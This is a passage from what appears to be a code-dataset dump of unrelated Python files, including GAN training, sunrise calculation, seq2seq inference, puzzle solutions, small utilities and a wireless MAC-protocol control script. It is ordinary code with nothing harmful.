loss_D_fake)*0.5\n loss_D.backward()\n\n optimizer_D.step()\n ################################### \n logger.log({'loss_G': loss_G.cpu(), 'loss_sim': loss_sim.cpu(), 'loss_D': loss_D.cpu()}, \n images={'real_A': real_A[:,slices//2:slices//2+1,...].cpu(), 'real_B': real_B.cpu(), 'fake_B': fake_B1.cpu()})\n\n # Update learning rates\n lr_scheduler_G.step()\n lr_scheduler_D.step()\n # Save models checkpoints\n torch.save(netG.state_dict(), './netG.pth')\n torch.save(netD.state_dict(), './netD.pth')\n torch.save(optimizer_G.state_dict(), './optimizer_G.pth')\n torch.save(optimizer_D.state_dict(), './optimizer_D.pth')\n","sub_path":"models/DAGAN6/DAGAN.py","file_name":"DAGAN.py","file_ext":"py","file_size_in_byte":7010,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"524371247","text":"# uncompyle6 version 3.7.4\n# Python bytecode 3.7 (3394)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: build/bdist.macosx-10.14-x86_64/egg/suntime/suntime.py\n# Compiled at: 2019-08-26 08:45:56\n# Size of source mod 2**32: 7127 bytes\nimport calendar, math, datetime\nfrom dateutil import tz\n\nclass SunTimeException(Exception):\n\n def __init__(self, message):\n super(SunTimeException, self).__init__(message)\n\n\nclass Sun:\n __doc__ = '\\n Approximated calculation of sunrise and sunset datetimes. Adapted from:\\n https://stackoverflow.com/questions/19615350/calculate-sunrise-and-sunset-times-for-a-given-gps-coordinate-within-postgresql\\n '\n\n def __init__(self, lat, lon):\n self._lat = lat\n self._lon = lon\n\n def get_sunrise_time(self, date=None):\n \"\"\"\n Calculate the sunrise time for given date.\n :param lat: Latitude\n :param lon: Longitude\n :param date: Reference date. Today if not provided.\n :return: UTC sunrise datetime\n :raises: SunTimeException when there is no sunrise and sunset on given location and date\n \"\"\"\n date = datetime.date.today() if date is None else date\n sr = self._calc_sun_time(date, True)\n if sr is None:\n raise SunTimeException('The sun never rises on this location (on the specified date)')\n else:\n return sr\n\n def get_local_sunrise_time(self, date=None, local_time_zone=tz.tzlocal()):\n \"\"\"\n Get sunrise time for local or custom time zone.\n :param date: Reference date. Today if not provided.\n :param local_time_zone: Local or custom time zone.\n :return: Local time zone sunrise datetime\n \"\"\"\n date = datetime.date.today() if date is None else date\n sr = self._calc_sun_time(date, True)\n if sr is None:\n raise SunTimeException('The sun never rises on this location (on the specified date)')\n else:\n return sr.astimezone(local_time_zone)\n\n def get_sunset_time(self, date=None):\n \"\"\"\n Calculate the sunset time for given date.\n :param lat: Latitude\n :param lon: Longitude\n :param date: Reference date. Today if not provided.\n :return: UTC sunset datetime\n :raises: SunTimeException when there is no sunrise and sunset on given location and date.\n \"\"\"\n date = datetime.date.today() if date is None else date\n ss = self._calc_sun_time(date, False)\n if ss is None:\n raise SunTimeException('The sun never sets on this location (on the specified date)')\n else:\n return ss\n\n def get_local_sunset_time(self, date=None, local_time_zone=tz.tzlocal()):\n \"\"\"\n Get sunset time for local or custom time zone.\n :param date: Reference date\n :param local_time_zone: Local or custom time zone.\n :return: Local time zone sunset datetime\n \"\"\"\n date = datetime.date.today() if date is None else date\n ss = self._calc_sun_time(date, False)\n if ss is None:\n raise SunTimeException('The sun never sets on this location (on the specified date)')\n else:\n return ss.astimezone(local_time_zone)\n\n def _calc_sun_time(self, date, isRiseTime=True, zenith=90.8):\n \"\"\"\n Calculate sunrise or sunset date.\n :param date: Reference date\n :param isRiseTime: True if you want to calculate sunrise time.\n :param zenith: Sun reference zenith\n :return: UTC sunset or sunrise datetime\n :raises: SunTimeException when there is no sunrise and sunset on given location and date\n \"\"\"\n day = date.day\n month = date.month\n year = date.year\n TO_RAD = math.pi / 180.0\n N1 = math.floor(275 * month / 9)\n N2 = math.floor((month + 9) / 12)\n N3 = 1 + math.floor((year - 4 * math.floor(year / 4) + 2) / 3)\n N = N1 - N2 * N3 + day - 30\n lngHour = self._lon / 15\n if isRiseTime:\n t = N + (6 - lngHour) / 24\n else:\n t = N + (18 - lngHour) / 24\n M = 0.9856 * t - 3.289\n L = M + 1.916 * math.sin(TO_RAD * M) + 0.02 * math.sin(TO_RAD * 2 * M) + 282.634\n L = self._force_range(L, 360)\n RA = 1 / TO_RAD * math.atan(0.91764 * math.tan(TO_RAD * L))\n RA = self._force_range(RA, 360)\n Lquadrant = math.floor(L / 90) * 90\n RAquadrant = math.floor(RA / 90) * 90\n RA = RA + (Lquadrant - RAquadrant)\n RA = RA / 15\n sinDec = 0.39782 * math.sin(TO_RAD * L)\n cosDec = math.cos(math.asin(sinDec))\n cosH = (math.cos(TO_RAD * zenith) - sinDec * math.sin(TO_RAD * self._lat)) / (cosDec * math.cos(TO_RAD * self._lat))\n if cosH > 1:\n return\n elif cosH < -1:\n return\n if isRiseTime:\n H = 360 - 1 / TO_RAD * math.acos(cosH)\n else:\n H = 1 / TO_RAD * math.acos(cosH)\n H = H / 15\n T = H + RA - 0.06571 * t - 6.622\n UT = T - lngHour\n UT = self._force_range(UT, 24)\n hr = self._force_range(int(UT), 24)\n min = round((UT - int(UT)) * 60, 0)\n if min == 60:\n hr += 1\n min = 0\n if hr == 24:\n hr = 0\n day += 1\n if day > calendar.monthrange(year, month)[1]:\n day = 1\n month += 1\n if month > 12:\n month = 1\n year += 1\n return datetime.datetime(year, month, day, hr, (int(min)), tzinfo=(tz.tzutc()))\n\n @staticmethod\n def _force_range(v, max):\n if v < 0:\n return v + max\n if v >= max:\n return v - max\n return v\n\n\nif __name__ == '__main__':\n sun = Sun(85.0, 21.0)\n try:\n print(sun.get_local_sunrise_time())\n print(sun.get_local_sunset_time())\n abd = datetime.date(2014, 1, 3)\n abd_sr = sun.get_local_sunrise_time(abd)\n abd_ss = sun.get_local_sunset_time(abd)\n print(abd_sr)\n print(abd_ss)\n except SunTimeException as e:\n try:\n print('Error: {0}'.format(e))\n finally:\n e = None\n del e","sub_path":"pycfiles/suntime-1.2.5-py3.7/suntime.cpython-37.py","file_name":"suntime.cpython-37.py","file_ext":"py","file_size_in_byte":6286,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"495089452","text":"#!/usr/bin/env python\r\n# -*- coding: utf-8 -*-\r\nimport torch\r\nfrom torch.autograd import Variable\r\nfrom .config import EOS, BOS, LANGUAGE_TOKENS\r\nfrom .beam_search import SequenceGenerator\r\nfrom torch.nn.functional import adaptive_avg_pool2d\r\n\r\n\r\nclass Translator(object):\r\n\r\n def __init__(self, model, src_tok, target_tok,\r\n beam_size=5,\r\n length_normalization_factor=0,\r\n max_sequence_length=50,\r\n batch_first=False,\r\n return_all=False,\r\n get_attention=False,\r\n cuda=False):\r\n self.model = model\r\n self.src_tok = src_tok\r\n self.target_tok = target_tok\r\n self.insert_target_start = [BOS]\r\n self.insert_src_start = [BOS]\r\n self.insert_src_end = [EOS]\r\n self.batch_first = batch_first\r\n self.return_all = return_all\r\n self.get_attention = get_attention\r\n self.cuda = cuda\r\n if self.cuda:\r\n model.cuda()\r\n else:\r\n model.cpu()\r\n model.eval()\r\n self.generator = SequenceGenerator(\r\n model=self.model.generate,\r\n beam_size=beam_size,\r\n batch_first=batch_first,\r\n max_sequence_length=max_sequence_length,\r\n get_attention=get_attention,\r\n length_normalization_factor=length_normalization_factor)\r\n\r\n def set_src_language(self, language):\r\n lang = self.src_tok.special_tokens.index(LANGUAGE_TOKENS[language])\r\n self.insert_src_start = [BOS, lang]\r\n\r\n def set_target_language(self, language):\r\n lang = self.target_tok.special_tokens.index(LANGUAGE_TOKENS[language])\r\n self.insert_target_start = [BOS, lang]\r\n\r\n def translate(self, input_sentence, target_priming=None):\r\n target_priming = target_priming or ''\r\n src_tok = self.src_tok.tokenize(input_sentence,\r\n insert_start=self.insert_src_start,\r\n insert_end=self.insert_src_end)\r\n bos = self.target_tok.tokenize(\r\n target_priming, insert_start=self.insert_target_start)\r\n shape = (1, -1) if self.batch_first else (-1, 1)\r\n src = Variable(src_tok.view(*shape), volatile=True)\r\n bos = Variable(bos.view(*shape), volatile=True)\r\n if self.cuda:\r\n src = src.cuda()\r\n bos = bos.cuda()\r\n\r\n self.model.clear_state()\r\n context = self.model.encode(src)\r\n if hasattr(self.model, 'bridge'):\r\n context = self.model.bridge(context)\r\n preds, logprobs, attentions = self.generator.beam_search(bos, context)\r\n num_return = len(preds) if self.return_all else 1\r\n preds = preds[:num_return]\r\n logprobs = logprobs[:num_return]\r\n output = [self.target_tok.detokenize(p[:-1]) for p in preds]\r\n if len(target_priming) > 0:\r\n output = [' '.join([target_priming, o]) for o in output]\r\n\r\n output = output[0] if len(output) == 1 else output\r\n logprobs = logprobs[0] if len(logprobs) == 1 else logprobs\r\n if self.get_attention:\r\n attentions = attentions[:num_return]\r\n attentions = [torch.stack(att, 1) for att in attentions]\r\n attentions = attentions[0] if len(attentions) == 1 else attentions\r\n preds = [[self.target_tok.idx2word(\r\n idx) for idx in p] for p in preds]\r\n preds = preds[0] if len(preds) == 1 else preds\r\n src = [self.src_tok.idx2word(idx) for idx in list(src_tok)]\r\n return output, (attentions, src, preds)\r\n else:\r\n return output\r\n\r\n\r\nclass CaptionGenerator(Translator):\r\n\r\n def __init__(self, model, img_transform, target_tok,\r\n beam_size=5,\r\n length_normalization_factor=0,\r\n max_sequence_length=50,\r\n batch_first=False,\r\n return_all=False,\r\n get_attention=False,\r\n cuda=False):\r\n self.img_transform = img_transform\r\n super(CaptionGenerator, self).__init__(model,\r\n None,\r\n target_tok,\r\n beam_size,\r\n length_normalization_factor,\r\n max_sequence_length,\r\n batch_first,\r\n return_all,\r\n get_attention,\r\n cuda)\r\n\r\n def set_src_language(self, language):\r\n pass\r\n\r\n def describe(self, input_img, target_priming=None):\r\n target_priming = target_priming or ''\r\n src_img = self.img_transform(input_img)\r\n\r\n bos = self.target_tok.tokenize(\r\n target_priming, insert_start=self.insert_target_start)\r\n shape = (1, -1) if self.batch_first else (-1, 1)\r\n src = Variable(src_img.unsqueeze(0).unsqueeze(0), volatile=True)\r\n bos = Variable(bos.view(*shape), volatile=True)\r\n if self.cuda:\r\n src = src.cuda()\r\n bos = bos.cuda()\r\n\r\n self.model.clear_state()\r\n context = self.model.encode(src)\r\n _, c, h, w = list(context[0].size())\r\n if hasattr(self.model, 'bridge'):\r\n context = self.model.bridge(context)\r\n\r\n preds, logprobs, attentions = self.generator.beam_search(bos, context)\r\n num_return = len(preds) if self.return_all else 1\r\n preds = preds[:num_return]\r\n logprobs = logprobs[:num_return]\r\n output = [self.target_tok.detokenize(p[:-1]) for p in preds]\r\n if len(target_priming) > 0:\r\n output = [' '.join([target_priming, o]) for o in output]\r\n output = output[0] if len(output) == 1 else output\r\n logprobs = logprobs[0] if len(logprobs) == 1 else logprobs\r\n if attentions is not None:\r\n attentions = attentions[:num_return]\r\n attentions = [torch.stack([a.view(h, w) for a in attns], 0)\r\n for attns in attentions]\r\n attentions = attentions[0] if len(attentions) == 1 else attentions\r\n preds = [[self.target_tok.idx2word(\r\n idx) for idx in p] for p in preds]\r\n preds = preds[0] if len(preds) == 1 else preds\r\n return output, (attentions, preds)\r\n # for s,p in zip(sentences,logprob):\r\n # print(target_tok.detokenize(s)[::-1],' p=%s' % math.exp(p))\r\n","sub_path":"seq2seq/tools/inference.py","file_name":"inference.py","file_ext":"py","file_size_in_byte":6654,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"61317434","text":"from collections import deque\nclass Solution:\n \"\"\"\n @param grid: The gird\n @return: Return the steps you need at least\n \"\"\"\n def getBestRoad(self, grid):\n rsz, csz = len(grid), len(grid[0])\n step = [[[-1, -1] for j in range(csz)] for i in range(rsz)]\n q = deque([(0, 0, grid[0][0])])\n step[0][0][grid[0][0]] = 0\n mov = [(-1, 0), (0, -1), (1, 0), (0, 1)]\n\n while len(q) > 0:\n cur = q.popleft()\n cs = step[cur[0]][cur[1]][cur[2]]+1\n for m in mov:\n x, y = cur[0] + m[0], cur[1] + m[1]\n if x<0 or x>=rsz or y<0 or y>=csz: continue\n if grid[x][y] == 1:\n if cur[2] == 1: continue\n if step[x][y][1]==-1 or cs= 0: ans = step[rsz-1][csz-1][0]\n if step[rsz-1][csz-1][1] >= 0 and (ans==-1 or step[rsz-1][csz-1][1]//',views.content_detail, name='content_detail'),\n path('email_list',views.email_list,name='email_list'),\n\n\n\n\n]\n","sub_path":"website/blog/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":295,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"6324232","text":"import numpy as np\nfrom sklearn.linear_model import LinearRegression\nfrom sklearn.model_selection import train_test_split\n\nX= np.array([[1, 2, 3, 4], [5, 6, 7, 8], [9, 10, 11, 12], [13, 14, 15, 16], [17, 18, 19, 20], [21, 22, 23, 24]])\ny = np.array([sum(x) for x in X])\n\n# 多元线性回归分析,其中X和Y分别为自变量数据集和因变量数据集\ndef muti_linear_regre(X, Y):\n X_train, X_test, y_train, y_test = train_test_split(X, Y, test_size=2, random_state=1)\n reg = LinearRegression(copy_X=True)\n reg.fit(X_train, y_train)\n print(reg.predict(X_test)) # 利用训练的神经网络进行预测/检验\n\n\nif __name__ == \"__main__\":\n muti_linear_regre(X, y)\n","sub_path":"book/manyLinear.py","file_name":"manyLinear.py","file_ext":"py","file_size_in_byte":688,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"315819910","text":"import os\nimport shutil\nfrom glob import iglob\nfrom pathlib import Path\n\n\nrecursive_indexes_path = '**/index.html'\ndef get_files_from_recursive_path(path):\n for f in iglob(path, recursive=True) :\n if os.path.isfile(f):\n yield str(Path(f).resolve())\n\ndef make_fresh_dir(dir):\n if not os.path.exists(dir):\n os.makedirs(dir)\n else:\n shutil.rmtree(dir) # removes all the subdirectories!\n os.makedirs(dir)\n\ndef get_filename_from_path(path):\n return os.path.basename(path)\n","sub_path":"helpers/os_tools.py","file_name":"os_tools.py","file_ext":"py","file_size_in_byte":519,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"618123659","text":"class Solution:\n @staticmethod\n def no_reps_1_to_9(collection: list) -> bool:\n return True if len(set(collection)) == len(collection) else False\n\n def isValidSudoku(self, board: list) -> bool:\n m = len(board)\n n = len(board[0])\n\n for i in range(m):\n row_nums = list(filter(lambda x: x != '.', board[i]))\n if not Solution.no_reps_1_to_9(row_nums):\n return False\n\n for j in range(n):\n col = [row[j] for row in board]\n col_nums = list(filter(lambda x: x != '.', col))\n if not Solution.no_reps_1_to_9(col_nums):\n return False\n\n for box_i in range(0, 9, 3):\n for box_j in range(0, 9, 3):\n box = [board[i][j] for i in range(box_i, box_i + 3) for j in range(box_j, box_j + 3)]\n box_nums = list(filter(lambda x: x != '.', box))\n if not Solution.no_reps_1_to_9(box_nums):\n return False\n\n return True\n\n\nif __name__ == \"__main__\":\n solu = Solution()\n board = [\n [\"5\",\"3\",\".\",\".\",\"7\",\".\",\".\",\".\",\".\"],\n [\"6\",\".\",\".\",\"1\",\"9\",\"5\",\".\",\".\",\".\"],\n [\".\",\"9\",\"8\",\".\",\".\",\".\",\".\",\"6\",\".\"],\n [\"8\",\".\",\".\",\".\",\"6\",\".\",\".\",\".\",\"3\"],\n [\"4\",\".\",\".\",\"8\",\".\",\"3\",\".\",\".\",\"1\"],\n [\"7\",\".\",\".\",\".\",\"2\",\".\",\".\",\".\",\"6\"],\n [\".\",\"6\",\".\",\".\",\".\",\".\",\"2\",\"8\",\".\"],\n [\".\",\".\",\".\",\"4\",\"1\",\"9\",\".\",\".\",\"5\"],\n [\".\",\".\",\".\",\".\",\"8\",\".\",\".\",\"7\",\"9\"]\n ]\n print(solu.isValidSudoku(board))","sub_path":"codes/MartinMa28/python3/0036_valid_sudoku.py","file_name":"0036_valid_sudoku.py","file_ext":"py","file_size_in_byte":1618,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"527411251","text":"import json\n\ntotal = 0\n\nwith open(\"input.json\") as f:\n j = json.loads(f.readline())\n\ndef handle_list(l):\n sub_total = 0\n\n for i in l:\n if isinstance(i, int):\n sub_total += i\n elif isinstance(i, list):\n sub_total += handle_list(i)\n elif isinstance(i, dict):\n sub_total += handle_dict(i)\n\n return sub_total\n\ndef handle_dict(d):\n sub_total = 0\n\n for k in d.keys():\n if isinstance(k, int):\n sub_total += k\n\n v = d[k]\n if isinstance(v, int):\n sub_total += v\n elif isinstance(v, list):\n sub_total += handle_list(v)\n elif isinstance(v, dict):\n sub_total += handle_dict(v)\n\n return sub_total\n\nif isinstance(j, int):\n total += j\nelif isinstance(j, list):\n total += handle_list(j)\nelif isinstance(j, dict):\n total += handle_dict(j)\n\nprint(\"Total:\", total)","sub_path":"Day 12/part1.py","file_name":"part1.py","file_ext":"py","file_size_in_byte":814,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"586640366","text":"\"\"\"\nLocal control program to be executed on remote nodes.\n\"\"\"\n__author__ = \"Domenico Garlisi\"\n__copyright__ = \"Copyright (c) 2016, CNIT\"\n__version__ = \"0.1.0\"\n__email__ = \"domenico.garlisi@cnit.it\"\n\n\nimport time\nimport datetime\nimport sys\nfrom sys import stdout\nfrom ctypes import *\nimport os\nimport csv\nimport signal\nimport threading\nimport math\nimport zmq\nimport netifaces as ni\n\n\n\nlibc = CDLL('libc.so.6')\nusleep = lambda x: time.sleep(x/1000000.0)\n\nsys.path.append('../../../')\nsys.path.append(\"../../../agent_modules/wifi_ath\")\nsys.path.append(\"../../../agent_modules/wifi_wmp\")\nsys.path.append(\"../../../agent_modules/wifi\")\nsys.path.append('../../../upis')\nsys.path.append('../../../framework')\nsys.path.append('../../../agent')\n# from agent_modules.wifi_wmp.wmp_structure import UPI_R\nfrom agent_modules.wifi_wmp.adaptation_module.libb43 import *\n\n# @controller.set_default_callback()\n# def default_callback(cmd, data):\n# \tprint((\"DEFAULT CALLBACK : Cmd: {}, Returns: {}\".format(cmd, data)))\n\n# manager = Manager()\n# story_channel = manager.list()\n\n\nstory_file = None\nreading_thread = None\n\ndef signal_handler(signal, frame):\n\tstory_file.close()\n\treading_thread.do_run = False\n\treading_thread.join()\n\ttime.sleep(2)\n\tsys.exit(0)\n\nsignal.signal(signal.SIGINT, signal_handler)\n\n\n# Definition of Local Control Program\n#def my_local_control_program(controller):\ndef my_local_control_program():\n\n\t#Flags\n\tFLAG_USE_BUSY = 0\n\tFLAG_READONLY = 0\n\tFLAG_VERBOSE = 1\n\tread_interval = 7000 #12000 #(us)\n\n\tPACKET_TO_TRANSMIT\t=0x00F0\n\tMY_TRANSMISSION\t\t=0x00F2\n\tSUCCES_TRANSMISSION\t=0x00F4\n\tOTHER_TRANSMISSION\t=0x00F6\n\tBAD_RECEPTION\t\t=0x00FA\n\tBUSY_SLOT =0x00FC\n\n\tNEAR_SLOT\t=\t43\n\tCOUNT_SLOT\t=\t43\n\tSINC_SLOT_2\t=\t40\n\tSINC_SLOT_1\t=\t41\n\tSINC_SLOT_0\t=\t42\n\n\n\tclass tdma_param(ctypes.Structure):\n\t\t_fields_= [\n\t\t\t('frame_offset', ctypes.c_int),\n\t\t\t('frame_length', ctypes.c_int),\n\t\t\t('slot_assignment', ctypes.c_int)\n\t\t]\n\n\tclass fsm_param(ctypes.Structure):\n\t\t_fields_= [\n\t\t\t#Parameter number.\n\t\t\t('num', ctypes.c_int),\n\t\t\t#Parameter value.\n\t\t\t('value', ctypes.c_int)\n\t\t\t#Linked list.\n\t\t\t#struct fsm_param *next;\n\t\t]\n\n\tclass protocol(ctypes.Structure) :\n\t\t_fields_ = [\n\t\t\t#Unique identifier\n\t\t\t('id', ctypes.c_int),\n\t\t\t#Readable name, such as \"TDMA (slot 1)\"\n\t\t\t('name', c_char_p),\n\t\t\t#Path to the compiled (.txt) FSM implementation\n\t\t\t('fsm_path', ctypes.c_char_p),\n\t\t\t#Parameters for the FSM\n\t\t\t('fsm_params', fsm_param * 2),\n\t\t\t#Protocol emulator for determining decisions of protocol locally\n\t\t\t#protocol_emulator emulator;\n\t\t\t#Parameter for protocol emulator\n\t\t\t#void *parameter;\n\t\t\t('parameter', tdma_param)\n\t\t]\n\n\t# class metamac_slot(ctypes.Structure):\n\t# \t_fields_ = [\n\t# \t\t('slot_num', ctypes.c_ulong),\n\t# \t\t('read_num', ctypes.c_ulong),\n\t# \t\t('host_time', ctypes.c_uint64),\n\t# \t\t('host_time', ctypes.c_uint64),\n\t# \t\t('tsf_time', ctypes.c_uint64 ),\n\t# \t\t('slot_index', ctypes.c_int),\n\t# \t\t('slots_passed', ctypes.c_int),\n #\n\t# \t\t#Indicates if this slot was filled in because of a delay in\treading from the board.\n\t# \t\t('filler', ctypes.c_char), #\tuchar filler : 1;\n\t# \t\t#Indicates that a packet was waiting to be transmitted in this slot.\n\t# \t\t('packet_queued', ctypes.c_char), #uchar packet_queued : 1;\n\t# \t\t#Indicates that a transmission was attempted in this slot.\n\t# \t\t('transmitted', ctypes.c_char), #uchar transmitted : 1;\n\t# \t\t#Indicates that a transmission was successful in this slot.\n\t# \t\t('transmit_success', ctypes.c_char), #uchar transmit_success : 1;\n\t# \t\t#Various measures for whether another node attempted to transmit.\n\t# \t\t('transmit_other', ctypes.c_char), #uchar transmit_other : 1;\n\t# \t\t('bad_reception', ctypes.c_char), #uchar bad_reception : 1;\n\t# \t\t('busy_slot', ctypes.c_char), #uchar busy_slot : 1;\n\t# \t\t#Indicates that either a transmission attempt was unsuccessful\n\t# \t\t#in this slot or another node attempted a transmission.\n\t# \t\t('channel_busy', ctypes.c_char) #uchar channel_busy : 1;\n\t# \t]\n\n\tclass metamac_slot(ctypes.Structure):\n\t\t_fields_ = [\n\t\t\t('slot_num', ctypes.c_ulong),\n\t\t\t('read_num', ctypes.c_ulong),\n\t\t\t('host_time', ctypes.c_uint64),\n\t\t\t('host_time', ctypes.c_uint64),\n\t\t\t('tsf_time', ctypes.c_uint64 ),\n\t\t\t('slot_index', ctypes.c_int),\n\t\t\t('slots_passed', ctypes.c_int),\n\n\t\t\t#Indicates if this slot was filled in because of a delay in\treading from the board.\n\t\t\t('filler', ctypes.c_ubyte), #\tuchar filler : 1;\n\t\t\t#Indicates that a packet was waiting to be transmitted in this slot.\n\t\t\t('packet_queued', ctypes.c_ubyte), #uchar packet_queued : 1;\n\t\t\t#Indicates that a transmission was attempted in this slot.\n\t\t\t('transmitted', ctypes.c_ubyte), #uchar transmitted : 1;\n\t\t\t#Indicates that a transmission was successful in this slot.\n\t\t\t('transmit_success', ctypes.c_ubyte), #uchar transmit_success : 1;\n\t\t\t#Various measures for whether another node attempted to transmit.\n\t\t\t('transmit_other', ctypes.c_ubyte), #uchar transmit_other : 1;\n\t\t\t('bad_reception', ctypes.c_ubyte), #uchar bad_reception : 1;\n\t\t\t('busy_slot', ctypes.c_ubyte), #uchar busy_slot : 1;\n\t\t\t#Indicates that either a transmission attempt was unsuccessful\n\t\t\t#in this slot or another node attempted a transmission.\n\t\t\t('channel_busy', ctypes.c_ubyte) #uchar channel_busy : 1;\n\t\t]\n\n\tclass protocol_suite(ctypes.Structure) :\n\t\t_fields_ = [\n\t\t\t#Total number of protocols\n\t\t\t('num_protocols', ctypes.c_int),\n\t\t\t#Index of best protocol. Initially -1.\n\t\t\t('active_protocol', ctypes.c_int),\n\t\t\t#Index of protocols in slots. -1 Indicated invalid\n\t\t\t('slots', ctypes.c_int * 2),\n\t\t\t#Which slot is active. 0 indicates neither are active.\n\t\t\t('active_slot', ctypes.c_int),\n\t\t\t#Offset of slots numbering from read loop to slot numbering for TDMA.\n\t\t\t('slot_offset', ctypes.c_int),\n\t\t\t#Array of all protocols.\n\t\t\t('protocols', protocol * 4),\n\t\t\t#Array of weights corresponding to protocols.\n\t\t\t('weights', ctypes.c_double * 4),\t#double *weights; !!!WARNING for *\n\t\t\t#Factor used in computing weights.\n\t\t\t('eta', ctypes.c_double),\n\t\t\t#Slot information for last to be emulated.\n\t\t\t('last_slot', metamac_slot),\n\t\t\t#Time of last protocol update.\n\t\t\t#('last_update', timespec), # struct ;!!!WARNING for *\n\t\t\t#Indicates whether protocols should be cycled.\n\t\t\t('cycle', ctypes.c_int),\n\t\t]\n\n\tdef set_parameter(b43, slot, num, value):\n\n\t\tparam_addr = 0\n\t\tif num==10:\n\t\t\tparam_addr = 0x16*2\n\t\telif num==11:\n\t\t\tparam_addr = 0x21*2\n\t\telif num==12:\n\t\t\tparam_addr = 0x1F*2\n\t\telif num==13:\n\t\t\tparam_addr = 0x20*2\n\t\telif num==14:\n\t\t\tparam_addr = 0x11*2\n\t\telif num==15:\n\t\t\tparam_addr = 0x12*2\n\t\telif num==16:\n\t\t\tparam_addr = 0x13*2\n\t\telif num==17:\n\t\t\tparam_addr = 0x14*2\n\t\telse:\n\t\t\treturn\n\n\t\tif slot == 0 :\n\t\t\tparam_addr += b43.PARAMETER_ADDR_BYTECODE_1\n\t\telse :\n\t\t\tparam_addr += b43.PARAMETER_ADDR_BYTECODE_2\n\n\t\tb43.shmWrite16(b43.B43_SHM_SHARED, param_addr, value & 0xffff);\n\n\n\n\tdef tdma_emulate(param, slot_num, offset):\n\t\tslot_num += offset\n\t\ttdma_params = param\n\t\tif ((slot_num - tdma_params.frame_offset) % tdma_params.frame_length) == tdma_params.slot_assignment :\n\t\t\tresult = 1.0\n\t\telse :\n\t\t\tresult = 0.0\n\n\t\treturn result\n\n\tdef configure_params(b43, slot, param):\n\n\t\t#while (param != N) {\n\t\tfor i in range(2):\n\t\t\tset_parameter(b43, slot, param[i].num, param[i].value)\n\n\n\n\tdef load_protocol(b43, suite, protocol):\n\n\t\t\"\"\"\n\t\tUpdate this function --> replace the shared memory write function with UPI for change parameter and load radio program\n\t\t set_parameters(param_key_values_dict):\n\t\t activate_radio_program(name)\n\t\t\"\"\"\n\n\n\t\t#struct options opt;\n\t\tactive = suite.active_slot # Always 0 or 1 since metamac_init will already have run.\n\t\tinactive = 1 - active\n\n\t\tif (protocol == suite.slots[active]) :\n\t\t\t#This protocol is already running.\n\t\t\tpass\n\t\telse :\n\t\t\t#Protocol in active slot shares same FSM, but is not the same protocol\n\t\t\t#(already checked). Write the parameters for this protocol.\n\t\t\tconfigure_params(b43, active, suite.protocols[protocol].fsm_params)\n\t\t\tsuite.slots[active] = protocol\n\n\t\t# elif (protocol == suite.slots[inactive]):\n\t\t# \t#Switch to other slot.\n\t\t# \topt.active = (inactive == 0) ? \"1\" : \"2\"\n\t\t# \twriteAddressBytecode(df, &opt)\n\t\t# \tsuite.active_slot = inactive\n #\n\t\t# elif (suite.slots[active] >= 0 ) : #and strcmp(suite->protocols[protocol].fsm_path, suite->protocols[suite->slots[active]].fsm_path) == 0) :\n\t\t# \t#Protocol in active slot shares same FSM, but is not the same protocol\n\t\t# \t#(already checked). Write the parameters for this protocol.\n\t\t# \tconfigure_params(b43, active, suite.protocols[protocol].fsm_params)\n\t\t# \tsuite.slots[active] = protocol\n #\n\t\t# elif (suite.slots[inactive] >= 0): #and strcmp(suite->protocols[protocol].fsm_path, suite->protocols[suite->slots[inactive]].fsm_path) == 0) :\n\t\t# \t#Protocol in inactive slot shares same FSM, but is not the same protocol,\n\t\t# \t#so write the parameters for this protocol and activate it.\n #\n\t\t# \t# configure_params(df, inactive, suite->protocols[protocol].fsm_params);\n\t\t# \t# opt.active = (inactive == 0) ? \"1\" : \"2\";\n\t\t# \t# writeAddressBytecode(df, &opt);\n #\n\t\t# \tsuite.slots[inactive] = protocol\n\t\t# \tsuite.active_slot = inactive\n #\n\t\t# else:\n\t\t# \t#Load into inactive slot.\n #\n\t\t# \t# opt.load = (inactive == 0) ? \"1\" : \"2\";\n\t\t# \t# opt.name_file = suite->protocols[protocol].fsm_path;\n\t\t# \t# bytecodeSharedWrite(df, &opt);\n\t\t# \t# configure_params(df, inactive, suite->protocols[protocol].fsm_params);\n\t\t# \t# opt.active = opt.load;\n\t\t# \t# writeAddressBytecode(df, &opt);\n #\n\t\t# \tsuite.slots[inactive] = protocol\n\t\t# \tsuite.active_slot = inactive\n\n\t\tsuite.active_protocol = protocol\n\t\tsuite.last_update = monotonic_time()\n\n\n\tdef metamac_evaluate(b43, suite):\n\n\t\t#Identify the best protocol.\n\t\tbest = 0\n\t\tfor i in range(suite.num_protocols):\n\t\t\tif (suite.weights[i] > suite.weights[best]) :\n\t\t\t\tbest = i\n\n\t\tif (suite.cycle) :\n\t\t\t# struct timespec current_time;\n\t\t\t# clock_gettime(CLOCK_MONOTONIC_RAW, ¤t_time);\n\t\t\t# uint64_t timediff = (current_time.tv_sec - suite->last_update.tv_sec) * 1000000L +\n\t\t\t# \t(current_time.tv_nsec - suite->last_update.tv_nsec) / 1000L;\n #\n\t\t\t# if (timediff > 1000000L) {\n\t\t\t# \tload_protocol(df, suite, (suite->active_protocol + 1) % suite->num_protocols);\n\t\t\t# }\n\t\t\tpass\n\t\telif (best != suite.active_protocol):\n\t\t\tload_protocol(b43, suite, best)\n\n\t#static void metamac_display(unsigned long loop, struct protocol_suite *suite)\n\tdef metamac_display(loop, suite):\n\t\t# if (loop > 0):\n\t\t# \t#Reset cursor upwards by the number of protocols we will be printing.\n\t\t# \tprint(\"\\x1b[%dF\", suite.num_protocols)\n\n\t\tfor i in range(0, suite.num_protocols):\n\t\t\tactive_string = ' '\n\t\t\tif suite.active_protocol == i:\n\t\t\t\tactive_string = '*'\n\n\t\t\t#print(\"%c %5.3f %s\\n\" % (active_string, 